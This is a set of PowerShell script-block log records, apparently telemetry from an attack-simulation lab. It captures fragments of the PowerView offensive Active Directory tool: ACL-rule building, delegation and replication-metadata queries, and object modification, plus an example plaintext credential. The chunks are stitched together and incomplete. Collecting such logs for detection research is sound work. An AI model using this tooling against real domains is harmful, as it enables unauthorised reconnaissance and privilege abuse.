ms-Mcs-AdmPwd computer property. .OUTPUTS System.Security.AccessControl.AuthorizationRule #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Security.AccessControl.AuthorizationRule')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $True)] [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] $Right, [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] [ValidateSet('Allow', 'Deny')] [String[]] $AccessControlType, [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] [ValidateSet('Success', 'Failure')] [String] $AuditFlag, [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] [Guid] $ObjectType, [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] [String] $InheritanceType, [Guid] $InheritedObjectType ) Begin { if ($PrincipalIdentity -notmatch '^S-1-.*') { $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principal = Get-DomainObject @PrincipalSearcherArguments if (-not $Principal) { throw "Unable to resolve principal: $PrincipalIdentity" } elseif($Principal.Count -gt 1) { throw "PrincipalIdentity matches multiple AD objects, but only one is allowed" } $ObjectSid = $Principal.objectsid } else { $ObjectSid = $PrincipalIdentity } $ADRight = 0 foreach($r in $Right) { $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) } $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) } Process { if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -Ar421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666681Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1341ith the object. The results are parsed from their XML string form and returned as a custom object. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Only return replication metadata on the specified property names. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAttributeHistory -Domain testlab.local Return all attribute replication metadata for all objects in the testlab.local domain. .EXAMPLE 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft ObjectDN ObjectGuid AttributeNam LastOriginat Version LastOriginat e ingChange ingDsaDN -------- ---------- ------------ ------------ ------- ------------ CN=dfm.a,C... a6263874-f... objectClass 2017-03-0... 1 CN=NTDS S... CN=DA,CN=U... 77b56df4-f... objectClass 2017-04-1... 1 CN=NTDS S... CN=harmj0y... 94299db1-e... objectClass 2017-03-0... 1 CN=NTDS S... .EXAMPLE Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl ObjectDN : CN=harmj0y,CN=Users,DC=testlab,DC=local ObjectGuid : 94299db1-e3e7-48f9-845b-3bffef8bedbb AttributeName : userAccountControl LastOriginatingChange : 2017-03-07T19:56:27Z Version : 4 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.ADObjectAttributeHistory Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObjectAttributeHistory')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replattributemetadata','distinguishedname' 'Raw' = $True } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Properties']) { $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' } else { $PropertyFilter = '' } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if ($TempObject.pszAttributeName -Match $PropertyFilter) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') $Output } } else { Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" } } } } } function Get-DomainObjectLinkedAttributeHistory { <# .SYNOPSIS Returns the Active Directory links attribute value replication metadata for the specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. By default, replication data for every domain object is returned. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. This is the domain linked attribute value replication metadata associated with the object. The results are parsed from their XML string form and returned as a custom object. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Only return replication metadata on the specified property names. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a Count Name ----- ---- 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local 4 CN=Users,CN=Builtin,DC=testlab,DC=local 2 CN=Guests,CN=Builtin,DC=testlab,DC=local 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local .EXAMPLE 'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 AttributeName : member AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-03-06T00:48:29Z TimeCreated : 2017-03-06T00:48:29Z LastOriginatingChange : 2017-03-06T00:48:29Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 AttributeName : member AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-06-13T22:20:02Z TimeCreated : 2017-06-13T22:20:02Z LastOriginatingChange : 2017-06-13T22:20:22Z Version : 2 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 AttributeName : member AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local TimeDeleted : 2017-03-06T00:48:29Z TimeCreated : 2017-03-06T00:48:29Z LastOriginatingChange : 2017-03-06T00:48:29Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .EXAMPLE Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 AttributeName : member AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local TimeDeleted : 2017-04-10T22:17:19Z TimeCreated : 2017-04-10T22:17:19Z LastOriginatingChange : 2017-04-10T22:17:19Z Version : 1 LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca l .OUTPUTS PowerView.ADObjectLinkedAttributeHistory Custom PSObject with translated replication metadata fields. .LINK https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObjectLinkedAttributeHistory')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) BEGIN { $SearcherArguments = @{ 'Properties' = 'msds-replvaluemetadata','distinguishedname' 'Raw' = $True } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } if ($PSBoundParameters['Properties']) { $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' } else { $PropertyFilter = '' } } PROCESS { if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } Get-DomainObject @SearcherArguments | ForEach-Object { $ObjectDN = $_.Properties['distinguishedname'][0] ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue if ($TempObject) { if ($TempObject.pszAttributeName -Match $PropertyFilter) { $Output = New-Object PSObject $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') $Output } } else { Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" } } } } } function Set-DomainObject { <# .SYNOPSIS Modifies a gven property for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Splats user/object targeting parameters to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets any values from -Set @{}, XORs any values from -XOR @{}, and clears any values from -Clear @(). .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Set Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. .PARAMETER XOR Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. .PARAMETER Clear Specifies an array of object properties that will be cleared in the directory. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666680Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1241 $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $CompSearcher = Get-DomainSearcher @SearcherArguments if (-not $CompSearcher) { Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } else { $IdentityFilter += "(name=$IdentityInstance)" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['Unconstrained']) { Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' } if ($PSBoundParameters['TrustedToAuth']) { Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } if ($PSBoundParameters['Printers']) { Write-Verbose '[Get-DomainComputer] Searching for printers' $Filter += '(objectCategory=printQueue)' } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" $Filter += "(operatingsystem=$OperatingSystem)" } if ($PSBoundParameters['ServicePack']) { Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" $Filter += "(operatingsystemservicepack=$ServicePack)" } if ($PSBoundParameters['SiteName']) { Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" $Filter += "(serverreferencebl=$SiteName)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } # build the LDAP filter for the dynamic UAC filter value $UACFilter | Where-Object {$_} | ForEach-Object { if ($_ -match 'NOT_.*') { $UACField = $_.Substring(4) $UACValue = [Int]($UACEnum::$UACField) $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" } else { $UACValue = [Int]($UACEnum::$_) $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" } } $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } else { $Results = $CompSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Up = $True if ($PSBoundParameters['Ping']) { $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname } if ($Up) { if ($PSBoundParameters['Raw']) { # return raw result objects $Computer = $_ $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') } else { $Computer = Convert-LDAPProperty -Properties $_.Properties $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') } $Computer } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } } $CompSearcher.dispose() } } } function Get-DomainObject { <# .SYNOPSIS Return all (or specified) domain objects in AD. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName .DESCRIPTION Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all objects for the current domain are returned. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER UACFilter Dynamic parameter that accepts one or more values from $UACEnum, including "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER SecurityMasks Specifies an option for examining security information of a directory object. One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Raw Switch. Return raw results instead of translating the fields into a custom PSObject. .EXAMPLE Get-DomainObject -Domain testlab.local Return all objects for the testlab.local domain .EXAMPLE 'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname distinguishedname ----------------- CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local CN=dfm,CN=Users,DC=testlab,DC=local OU=OU3,DC=testlab,DC=local CN=dfm (admin),CN=Users,DC=testlab,DC=local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainObject -Credential $Cred -Identity 'windows1' .EXAMPLE Get-Domain | Select-Object -Expand name testlab.local 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y))) distinguishedname ----------------- CN=harmj0y,CN=Users,DC=testlab,DC=local VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins))) CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local .OUTPUTS PowerView.ADObject Custom PSObject with translated AD object property fields. PowerView.ADObject.Raw The raw DirectoryServices.SearchResult object, if -Raw is enabled. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] [OutputType('PowerView.ADObject')] [OutputType('PowerView.ADObject.Raw')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] [String[]] $Identity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] [String] $SecurityMasks, [Switch] $Tombstone, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $Raw ) DynamicParam { $UACValueNames = [Enum]::GetNames($UACEnum) # add in the negations $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} # create new dynamic parameter New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) } BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = 